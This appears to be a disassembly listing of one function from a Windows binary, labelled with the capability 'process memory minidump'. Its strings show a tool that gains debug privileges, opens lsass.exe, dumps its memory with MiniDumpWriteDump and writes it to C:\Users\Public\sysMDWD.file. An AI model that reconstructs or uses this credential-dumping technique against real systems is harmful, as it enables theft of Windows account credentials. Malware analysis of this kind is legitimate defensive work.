Function at 0x140003240
Capabilities:
Create process memory minidump

Disassembly:
push rbp
sub rsp, 0x2e0
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xorps xmm0, xmm0
xor ebp, ebp
mov qword [rsp + 0x40], rbp
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
call fcn.140001430
mov eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rbp
call fcn.140001320
lea r9, [rsp + 0x48]
mov edx, 0x410
lea r8, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140005590
test eax, eax
je 0x1400032d4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___NtOpenProcess_failed.
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x1400035e9
lea r8, str.C:UsersPublic_sysMDWD.file
mov qword [rsp + 0x2f8], rsi
mov edx, 0x104
lea rcx, [rsp + 0xa0]
call fcn.1400031e0
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000333f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_file.
jmp 0x14000351b
mov qword [rsp + 0x2f0], rbx
mov qword [rsp + 0x300], rdi
mov qword [rsp + 0x2d8], r14
mov qword [rsp + 0x2d0], r15
movaps xmmword [rsp + 0x2c0], xmm6
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140003385
imul rax, rax, 0x64
jmp 0x1400033a3
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffffed5fa0dff
cmp rax, rcx
jge 0x1400033c1
movabs rdi, 0x12a05f200
add rdi, rax
jmp 0x1400033cb
movabs rdi, 0x7fffffffffffffff
movsd xmm6, qword [0x140008b30]
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140003405
imul rbx, rax, 0x64
jmp 0x140003426
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rbx, rdi
jge 0x14000349d
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
xorps xmm0, xmm0
mov rax, rdi
sub rax, rbx
lea r8, [rcx + r14]
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r9b
test r9b, r9b
jne 0x140003458
lea r8, [rcx + rax]
add rax, rcx
lea rdx, [rcx + r14]
test r9b, r9b
lea rcx, [rsp + 0x58]
cmove rdx, rax
mov rax, r15
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rsp + 0x58], rdx
sub r8d, eax
mov dword [rsp + 0x60], r8d
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x1400033e7
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rcx, qword [rsp + 0x40]
mov r9d, 2
mov qword [rsp + 0x30], rbp
mov edx, eax
mov qword [rsp + 0x28], rbp
mov r8, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
mov rcx, rsi
mov ebx, eax
call fcn.14000559b
mov rcx, qword [rsp + 0x40]
call fcn.14000559b
movaps xmm6, xmmword [rsp + 0x2c0]
test ebx, ebx
mov rbx, qword [rsp + 0x2f0]
mov r15, qword [rsp + 0x2d0]
mov r14, qword [rsp + 0x2d8]
mov rdi, qword [rsp + 0x300]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jne 0x140003537
lea rdx, str.___D3MPSEC_has_failed.
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x1400035e1
lea rdx, str.___Great_running_with_admin_privileges.
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___EnableDebugPrivileges.
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Obtain_handle_from_lsass.exe_via_ZwOpenProcess__.
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Dump_lsass.exe_using_MiniDumpWriteDump__.
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Enjoy_the_sysMDWD.file._
call fcn.140001a70
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov al, 1
mov rsi, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.1400055d0
add rsp, 0x2e0
pop rbp
ret